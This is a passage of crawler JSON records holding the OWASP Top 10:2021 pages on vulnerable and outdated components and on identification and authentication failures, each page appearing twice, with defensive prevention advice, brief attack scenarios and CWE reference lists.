vulnerabilities regularly and subscribe to\n security bulletins related to the components you use.\n- If you do not fix or upgrade the underlying platform, frameworks,\n and dependencies in a risk-based, timely fashion. This commonly\n happens in environments when patching is a monthly or quarterly task\n under change control, leaving organizations open to days or months\n of unnecessary exposure to fixed vulnerabilities.\n- If software developers do not test the compatibility of updated,\n upgraded, or patched libraries.\n- If you do not secure the components’ configurations (see\n [A05:2021-Security Misconfiguration](../A05_2021-Security_Misconfiguration/)).\n\n## How to Prevent\n\nThere should be a patch management process in place to:\n\n- Remove unused dependencies, unnecessary features, components, files,\n and documentation.\n- Continuously inventory the versions of both client-side and\n server-side components (e.g., frameworks, libraries) and their\n dependencies using tools like versions, OWASP Dependency Check,\n retire.js, etc. Continuously monitor sources like Common Vulnerability and \n Exposures (CVE) and National Vulnerability Database (NVD) for\n vulnerabilities in the components. Use software composition analysis\n tools to automate the process. Subscribe to email alerts for\n security vulnerabilities related to components you use.\n- Only obtain components from official sources over secure links.\n Prefer signed packages to reduce the chance of including a modified,\n malicious component (see [A08:2021-Software and Data Integrity\n Failures](../A08_2021-Software_and_Data_Integrity_Failures/)).\n- Monitor for libraries and components that are unmaintained or do not\n create security patches for older versions. If patching is not\n possible, consider deploying a virtual patch to monitor, detect, or\n protect against the discovered issue.\n\nEvery organization must ensure an ongoing plan for monitoring, triaging,\nand applying updates or configuration changes for the lifetime of the\napplication or portfolio.\n\n## Example Attack Scenarios\n\n**Scenario #1:** Components typically run with the same privileges as\nthe application itself, so flaws in any component can result in serious\nimpact. Such flaws can be accidental (e.g., coding error) or intentional\n(e.g., a backdoor in a component). Some example exploitable component\nvulnerabilities discovered are:\n\n- CVE-2017-5638, a Struts 2 remote code execution vulnerability that\n enables the execution of arbitrary code on the server, has been\n blamed for significant breaches.\n- While the internet of things (IoT) is frequently difficult or\n impossible to patch, the importance of patching them can be great\n (e.g., biomedical devices).\n\nThere are automated tools to help attackers find unpatched or\nmisconfigured systems. For example, the Shodan IoT search engine can\nhelp you find devices that still suffer from Heartbleed vulnerability\npatched in April 2014.\n\n## References\n\n- [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](/www-project-application-security-verification-standard)\n- [OWASP Dependency Check (for Java and .NET libraries)](/www-project-dependency-check)\n- [OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)\n- [OWASP Virtual Patching Best Practices](/www-community/Virtual_Patching_Best_Practices)\n- [The Unfortunate Reality of Insecure Libraries](https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf)\n- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cvedetails.com/version-search.php)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov/)\n- [Retire.js for detecting known vulnerable JavaScript libraries](https://github.com/retirejs/retire.js/)\n- [GitHub Advisory Database](https://github.com/advisories)\n- [Ruby Libraries Security Advisory Database and Tools](https://rubysec.com/)\n- [SAFECode Software Integrity Controls [PDF]](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n\n## List of Mapped CWEs\n\n[CWE-937 OWASP Top 10 2013: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/937.html)\n\n[CWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/1035.html)\n\n[CWE-1104 Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)", "znaku_textu": 5692, "slov": 721, "odkazu": 53, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:58", "sha256": "78ff770e5f73b539ce46f32486936a9100cad67487d85d5ebfd118ae2df1f8d1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf", "https://www.cvedetails.com/version-search.php", "https://nvd.nist.gov/", "https://github.com/retirejs/retire.js/", "https://github.com/advisories", "https://rubysec.com/", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://cwe.mitre.org/data/definitions/937.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A06_2021-Vulnerable_and_Outdated_Components/index.html", "titulek": "A06 Vulnerable and Outdated Components - OWASP Top 10:2021", "h1": "A06:2021 – Vulnerable and Outdated Components", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A06_2021-Vulnerable_and_Outdated_Components/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2021 – Vulnerable and Outdated Components"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A06:2021 – Vulnerable and Outdated Components\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 3 | 27.96% | 8.77% | 51.78% | 22.47% | 5.00 | 5.00 | 30,457 | 0 |\n\n## Overview\n\nIt was #2 from the Top 10 community survey but also had enough data to make the\nTop 10 via data. Vulnerable Components are a known issue that we\nstruggle to test and assess risk and is the only category to not have\nany Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploits/impact\nweight of 5.0 is used. Notable CWEs included are *CWE-1104: Use of\nUnmaintained Third-Party Components* and the two CWEs from Top 10 2013\nand 2017.\n\n## Description\n\nYou are likely vulnerable:\n\n- If you do not know the versions of all components you use (both\n client-side and server-side). This includes components you directly\n use as well as nested dependencies.\n- If the software is vulnerable, unsupported, or out of date. This\n includes the OS, web/application server, database management system\n (DBMS), applications, APIs and all components, runtime environments,\n and libraries.\n- If you do not scan for vulnerabilities regularly and subscribe to\n security bulletins related to the components you use.\n- If you do not fix or upgrade the underlying platform, frameworks,\n and dependencies in a risk-based, timely fashion. This commonly\n happens in environments when patching is a monthly or quarterly task\n under change control, leaving organizations open to days or months\n of unnecessary exposure to fixed vulnerabilities.\n- If software developers do not test the compatibility of updated,\n upgraded, or patched libraries.\n- If you do not secure the components’ configurations (see\n [A05:2021-Security Misconfiguration](../A05_2021-Security_Misconfiguration/)).\n\n## How to Prevent\n\nThere should be a patch management process in place to:\n\n- Remove unused dependencies, unnecessary features, components, files,\n and documentation.\n- Continuously inventory the versions of both client-side and\n server-side components (e.g., frameworks, libraries) and their\n dependencies using tools like versions, OWASP Dependency Check,\n retire.js, etc. Continuously monitor sources like Common Vulnerability and \n Exposures (CVE) and National Vulnerability Database (NVD) for\n vulnerabilities in the components. Use software composition analysis\n tools to automate the process. Subscribe to email alerts for\n security vulnerabilities related to components you use.\n- Only obtain components from official sources over secure links.\n Prefer signed packages to reduce the chance of including a modified,\n malicious component (see [A08:2021-Software and Data Integrity\n Failures](../A08_2021-Software_and_Data_Integrity_Failures/)).\n- Monitor for libraries and components that are unmaintained or do not\n create security patches for older versions. If patching is not\n possible, consider deploying a virtual patch to monitor, detect, or\n protect against the discovered issue.\n\nEvery organization must ensure an ongoing plan for monitoring, triaging,\nand applying updates or configuration changes for the lifetime of the\napplication or portfolio.\n\n## Example Attack Scenarios\n\n**Scenario #1:** Components typically run with the same privileges as\nthe application itself, so flaws in any component can result in serious\nimpact. Such flaws can be accidental (e.g., coding error) or intentional\n(e.g., a backdoor in a component). Some example exploitable component\nvulnerabilities discovered are:\n\n- CVE-2017-5638, a Struts 2 remote code execution vulnerability that\n enables the execution of arbitrary code on the server, has been\n blamed for significant breaches.\n- While the internet of things (IoT) is frequently difficult or\n impossible to patch, the importance of patching them can be great\n (e.g., biomedical devices).\n\nThere are automated tools to help attackers find unpatched or\nmisconfigured systems. For example, the Shodan IoT search engine can\nhelp you find devices that still suffer from Heartbleed vulnerability\npatched in April 2014.\n\n## References\n\n- [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](/www-project-application-security-verification-standard)\n- [OWASP Dependency Check (for Java and .NET libraries)](/www-project-dependency-check)\n- [OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)\n- [OWASP Virtual Patching Best Practices](/www-community/Virtual_Patching_Best_Practices)\n- [The Unfortunate Reality of Insecure Libraries](https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf)\n- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cvedetails.com/version-search.php)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov/)\n- [Retire.js for detecting known vulnerable JavaScript libraries](https://github.com/retirejs/retire.js/)\n- [GitHub Advisory Database](https://github.com/advisories)\n- [Ruby Libraries Security Advisory Database and Tools](https://rubysec.com/)\n- [SAFECode Software Integrity Controls [PDF]](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n\n## List of Mapped CWEs\n\n[CWE-937 OWASP Top 10 2013: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/937.html)\n\n[CWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/1035.html)\n\n[CWE-1104 Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)", "znaku_textu": 5692, "slov": 721, "odkazu": 53, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/Top10/2021/A06_2021-Vulnerable_and_Outdated_Components/", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 23:47:12", "sha256": "78ff770e5f73b539ce46f32486936a9100cad67487d85d5ebfd118ae2df1f8d1", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf", "https://www.cvedetails.com/version-search.php", "https://nvd.nist.gov/", "https://github.com/retirejs/retire.js/", "https://github.com/advisories", "https://rubysec.com/", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://cwe.mitre.org/data/definitions/937.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A07_2021-Identification_and_Authentication_Failures/", "titulek": "A07 Identification and Authentication Failures - OWASP Top 10:2021", "h1": "A07:2021 – Identification and Authentication Failures", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A07_2021-Identification_and_Authentication_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2021 – Identification and Authentication Failures"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A07:2021 – Identification and Authentication Failures\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 22 | 14.84% | 2.55% | 7.40 | 6.50 | 79.51% | 45.72% | 132,195 | 3,897 |\n\n## Overview\n\nPreviously known as *Broken Authentication*, this category slid down\nfrom the second position and now includes Common Weakness \nEnumerations (CWEs) related to identification\nfailures. Notable CWEs included are *CWE-297: Improper Validation of\nCertificate with Host Mismatch*, *CWE-287: Improper Authentication*, and\n*CWE-384: Session Fixation*.\n\n## Description\n\nConfirmation of the user's identity, authentication, and session\nmanagement is critical to protect against authentication-related\nattacks. There may be authentication weaknesses if the application:\n\n- Permits automated attacks such as credential stuffing, where the\n attacker has a list of valid usernames and passwords.\n- Permits brute force or other automated attacks.\n- Permits default, weak, or well-known passwords, such as \"Password1\"\n or \"admin/admin\".\n- Uses weak or ineffective credential recovery and forgot-password\n processes, such as \"knowledge-based answers,\" which cannot be made\n safe.\n- Uses plain text, encrypted, or weakly hashed passwords data stores (see\n [A02:2021-Cryptographic Failures](../A02_2021-Cryptographic_Failures/)).\n- Has missing or ineffective multi-factor authentication.\n- Exposes session identifier in the URL.\n- Reuse session identifier after successful login.\n- Does not correctly invalidate Session IDs. User sessions or\n authentication tokens (mainly single sign-on (SSO) tokens) aren't\n properly invalidated during logout or a period of inactivity.\n\n## How to Prevent\n\n- Where possible, implement multi-factor authentication to prevent\n automated credential stuffing, brute force, and stolen credential\n reuse attacks.\n- Do not ship or deploy with any default credentials, particularly for\n admin users.\n- Implement weak password checks, such as testing new or changed\n passwords against the top 10,000 worst passwords list.\n- Align password length, complexity, and rotation policies with\n National Institute of Standards and Technology (NIST)\n 800-63b's guidelines in section 5.1.1 for Memorized Secrets or other\n modern, evidence-based password policies.\n- Ensure registration, credential recovery, and API pathways are\n hardened against account enumeration attacks by using the same\n messages for all outcomes.\n- Limit or increasingly delay failed login attempts, but be careful not to create a denial of service scenario. Log all failures\n and alert administrators when credential stuffing, brute force, or\n other attacks are detected.\n- Use a server-side, secure, built-in session manager that generates a\n new random session ID with high entropy after login. Session identifier\n should not be in the URL, be securely stored, and invalidated after\n logout, idle, and absolute timeouts.\n\n## Example Attack Scenarios\n\n**Scenario #1:** Credential stuffing, the use of lists of known\npasswords, is a common attack. Suppose an application does not implement\nautomated threat or credential stuffing protection. In that case, the\napplication can be used as a password oracle to determine if the\ncredentials are valid.\n\n**Scenario #2:** Most authentication attacks occur due to the continued\nuse of passwords as a sole factor. Once considered best practices,\npassword rotation and complexity requirements encourage users to use\nand reuse weak passwords. Organizations are recommended to stop these\npractices per NIST 800-63 and use multi-factor authentication.\n\n**Scenario #3:** Application session timeouts aren't set correctly. A\nuser uses a public computer to access an application. Instead of\nselecting \"logout,\" the user simply closes the browser tab and walks\naway. An attacker uses the same browser an hour later, and the user is\nstill authenticated.\n\n## References\n\n- [OWASP Proactive Controls: Implement Digital Identity](https://owasp.org/www-project-proactive-controls/v3/en/c6-digital-identity)\n- [OWASP Application Security Verification Standard: V2 authentication](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Application Security Verification Standard: V3 Session Management](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: Identity](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README), [Authentication](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README)\n- [OWASP Cheat Sheet: Authentication](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Credential Stuffing](https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Forgot Password](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Session Management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n- [OWASP Automated Threats Handbook](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [NIST 800-63b: 5.1.1 Memorized Secrets](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret)\n\n## List of Mapped CWEs\n\n[CWE-255 Credentials Management Errors](https://cwe.mitre.org/data/definitions/255.html)\n\n[CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)\n\n[CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n\n[CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)\n\n[CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n\n[CWE-294 Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)\n\n[CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n\n[CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)\n\n[CWE-300 Channel Accessible by Non-Endpoint](https://cwe.mitre.org/data/definitions/300.html)\n\n[CWE-302 Authentication Bypass by Assumed-Immutable Data](https://cwe.mitre.org/data/definitions/302.html)\n\n[CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)\n\n[CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n\n[CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n\n[CWE-346 Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)\n\n[CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)\n\n[CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n\n[CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)\n\n[CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)\n\n[CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)\n\n[CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\n\n[CWE-940 Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html)\n\n[CWE-1216 Lockout Mechanism Errors](https://cwe.mitre.org/data/definitions/1216.html)", "znaku_textu": 7501, "slov": 801, "odkazu": 71, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:59", "sha256": "57aabdbf92ad7e29828a323cec5508067cb9f40c0f70da702da99523724da8b4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://cwe.mitre.org/data/definitions/255.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/1216.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A07_2021-Identification_and_Authentication_Failures/index.html", "titulek": "A07 Identification and Authentication Failures - OWASP Top 10:2021", "h1": "A07:2021 – Identification and Authentication Failures", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A07_2021-Identification_and_Authentication_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2021 – Identification and Authentication Failures"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A07:2021 – Identification and Authentication Failures\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 22 | 14.84% | 2.55% | 7.40 | 6.50 | 79.51% | 45.72% | 132,195 | 3,897 |\n\n## Overview\n\nPreviously known as *Broken Authentication*, this category slid down\nfrom the second position and now includes Common Weakness \nEnumerations (CWEs) related to identification\nfailures. Notable CWEs included are *CWE-297: Improper Validation of\nCertificate with Host Mismatch*, *CWE-287: Improper Authentication*, and\n*CWE-384: Session Fixation*.\n\n## Description\n\nConfirmation of the user's identity, authentication, and session\nmanagement is critical to protect against authentication-related\nattacks. There may be authentication weaknesses if the application:\n\n- Permits automated attacks such as credential stuffing, where the\n attacker has a list of valid usernames and passwords.\n- Permits brute force or other automated attacks.\n- Permits default, weak, or well-known passwords, such as \"Password1\"\n or \"admin/admin\".\n- Uses weak or ineffective credential recovery and forgot-password\n processes, such as \"knowledge-based answers,\" which cannot be made\n safe.\n- Uses plain text, encrypted, or weakly hashed passwords data stores (see\n [A02:2021-Cryptographic Failures](../A02_2021-Cryptographic_Failures/)).\n- Has missing or ineffective multi-factor authentication.\n- Exposes session identifier in the URL.\n- Reuse session identifier after successful login.\n- Does not correctly invalidate Session IDs. User sessions or\n authentication tokens (mainly single sign-on (SSO) tokens) aren't\n properly invalidated during logout or a period of inactivity.\n\n## How to Prevent\n\n- Where possible, implement multi-factor authentication to prevent\n automated credential stuffing, brute force, and stolen credential\n reuse attacks.\n- Do not ship or deploy with any default credentials, particularly for\n admin users.\n- Implement weak password checks, such as testing new or changed\n passwords against the top 10,000 worst passwords list.\n- Align password length, complexity, and rotation policies with\n National Institute of Standards and Technology (NIST)\n 800-63b's guidelines in section 5.1.1 for Memorized Secrets or other\n modern, evidence-based password policies.\n- Ensure registration, credential recovery, and API pathways are\n hardened against account enumeration attacks by using the same\n messages for all outcomes.\n- Limit or increasingly delay failed login attempts, but be careful not to create a denial of service scenario. Log all failures\n and alert administrators when credential stuffing, brute force, or\n other attacks are detected.\n- Use a server-side, secure, built-in session manager that generates a\n new random session ID with high entropy after login. Session identifier\n should not be in the URL, be securely stored, and invalidated after\n logout, idle, and absolute timeouts.\n\n## Example Attack Scenarios\n\n**Scenario #1:** Credential stuffing, the use of lists of known\npasswords, is a common attack. Suppose an application does not implement\nautomated threat or credential stuffing protection. In that case, the\napplication can be used as a password oracle to determine if the\ncredentials are valid.\n\n**Scenario #2:** Most authentication attacks occur due to the continued\nuse of passwords as a sole factor. Once considered best practices,\npassword rotation and complexity requirements encourage users to use\nand reuse weak passwords. Organizations are recommended to stop these\npractices per NIST 800-63 and use multi-factor authentication.\n\n**Scenario #3:** Application session timeouts aren't set correctly. A\nuser uses a public computer to access an application. Instead of\nselecting \"logout,\" the user simply closes the browser tab and walks\naway. An attacker uses the same browser an hour later, and the user is\nstill authenticated.\n\n## References\n\n- [OWASP Proactive Controls: Implement Digital Identity](https://owasp.org/www-project-proactive-controls/v3/en/c6-digital-identity)\n- [OWASP Application Security Verification Standard: V2 authentication](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Application Security Verification Standard: V3 Session Management](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: Identity](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README), [Authentication](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README)\n- [OWASP Cheat Sheet: Authentication](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Credential Stuffing](https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Forgot Password](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Session Management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n- [OWASP Automated Threats Handbook](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [NIST 800-63b: 5.1.1 Memorized Secrets](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret)\n\n## List of Mapped CWEs\n\n[CWE-255 Credentials Management Errors](https://cwe.mitre.org/data/definitions/255.html)\n\n[CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)\n\n[CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n\n[CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)\n\n[CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n\n[CWE-294 Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)\n\n[CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n\n[CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)\n\n[CWE-300 Channel Accessible by Non-Endpoint](https://cwe.mitre.org/data/definitions/300.html)\n\n[CWE-302 Authentication Bypass by Assumed-Immutable Data](https://cwe.mitre.org/data/definitions/302.html)\n\n[CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)\n\n[CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n\n[CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n\n[CWE-346 Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)\n\n[CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)\n\n[CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n\n[CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)\n\n[CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)\n\n[CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)\n\n[CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\n\n[CWE-940 Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html)\n\n[CWE-1216 Lockout Mechanism Errors](https://cwe.mitre.org/data/definitions/1216.html)", "znaku_textu": 7501, "slov": 801, "odkazu": 71, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/Top10/2021/A07_2021-Identification_and_Authentication_Failures/", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 23:47:14", "sha256": "57aabdbf92ad7e29828a323cec5508067cb9f40c0f70da702da99523724da8b4", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://cwe.mitre.org/data/definitions/255.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/1216.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", 